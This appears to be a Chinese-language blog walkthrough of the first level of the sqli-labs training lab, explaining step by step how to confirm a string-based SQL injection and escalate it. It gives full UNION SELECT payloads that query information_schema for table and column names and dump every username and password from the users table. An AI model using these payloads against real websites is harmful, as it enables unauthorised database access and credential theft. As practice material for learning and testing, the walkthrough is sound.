0%

sqlilabs第一关

基本流程

  1. 判断注入类型
  2. 判断字段数
  3. 判断回显点
  4. 爆库名
  5. 爆表名
  6. 爆字段名
  7. 查数据

为了方便找错,在源码处可以让其输出所执行的sql命令,方法如下

image-20220119233021588

判断注入类型

首先输入id=1,回显正常

image-20220119233152339

这里的LIMIT 0,1的意思是输出0行后1行的内容。

然后尝试加单引号 ' 回显错误

image-20220119233346623

尝试加--+或者%23,这里二者效果一样,都是注释的方法,--+表示--空格 在URL中空格可以由+表示,然后%23是 # 的URL编码,也是注释。加完之后回显正常

image-20220119233931711

由此可知,该注入类型为字符型,闭合方式为单引号。

判断字段数

union有一个非常严格的约束条件,因为是联合查询,必须保证字段数一致,即两个查询结果有相同的列数,因此,若要判断字段数,即可根据order by n;的回显即可,构造如下sql命令

image-20220119234541896

发现1-3都能正常回显,而4不行,即可得知字段数为3。

这里的order by n;是根据第几列顺序排列查询结果,如图加与不加order by 3的区别

image-20220119235023249

image-20220119235118690

注意:此处使用order by仅仅改变查询结果的顺序,对原本数据库排列顺序没有影响

判断回显点

回显点说白了就是回显的点位

联合查询输出是严格按照顺序进行的,因此,当id=1存在时会在第0行输出第1个sql语句的查询结果,也就是如下图所示

image-20220119235809113

它确实执行了我们第二条sql语句,也就是union后面的select语句,只是没有显示,因此我们可以通过以下两种方法,输出第二条sql语句的查询结果

LIMIT后的第一个参数是输出记录的初始位置,第二个参数偏移量,偏移多少,输出的条目就是多少。比如说,limit 1,3 就是输出2,3,4行的内容。此时的表为

image-20220120001307291

构造以下语句,输出第二行(由于题目限制,不能两行同时输出,即limit 0,2无用)

id=1' union select 1,2,3 limit 1,1 --+

输入不存在的-1

id=-1' union select 1,2,3 --+

注意:此处的1,2,3内容随便换

实质就是select语句

image-20220120001832155

得到如下回显,即可知道,2,3处为回显点

image-20220120001634734

暴库名

回显点已经知道,则可直接执行database()version() 来查看数据库名和MySQL数据库版本

id=-1' union select 1,database(),version() -++

image-20220120002239875

爆表名

构造以下语句

id=-1' union select 1,group_concat(table_name),version() from information_schema.tables where table_schema='security' --+

这句话的意思是,从information_schema库中tables表中table_name列中找与table_scheam列为security的元素,information_schema是mysql自带的库,记录了该数据库所有的表名和字段名

也就是找这些东西

image-20220120003415735

image-20220120003558071

这里的表可以先看users,如果不对再看其他的。

爆字段名

构造如下语句

id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

这句话的意思是,从information_schema库中colums表中column_name列找table_schema列为security和table_name列为user的元素

即如下这些

image-20220120004823668

image-20220120004905808

查数据

构造如下语句

id=-1' union select 1,group_concat(username,0x5c,password),3 from security.users --+

这句话的意思是在security库的users表中找出所有username与对应的password,这里面的0x5c是\的十六进制编码。也可以是别的

image-20220120005243708

完成。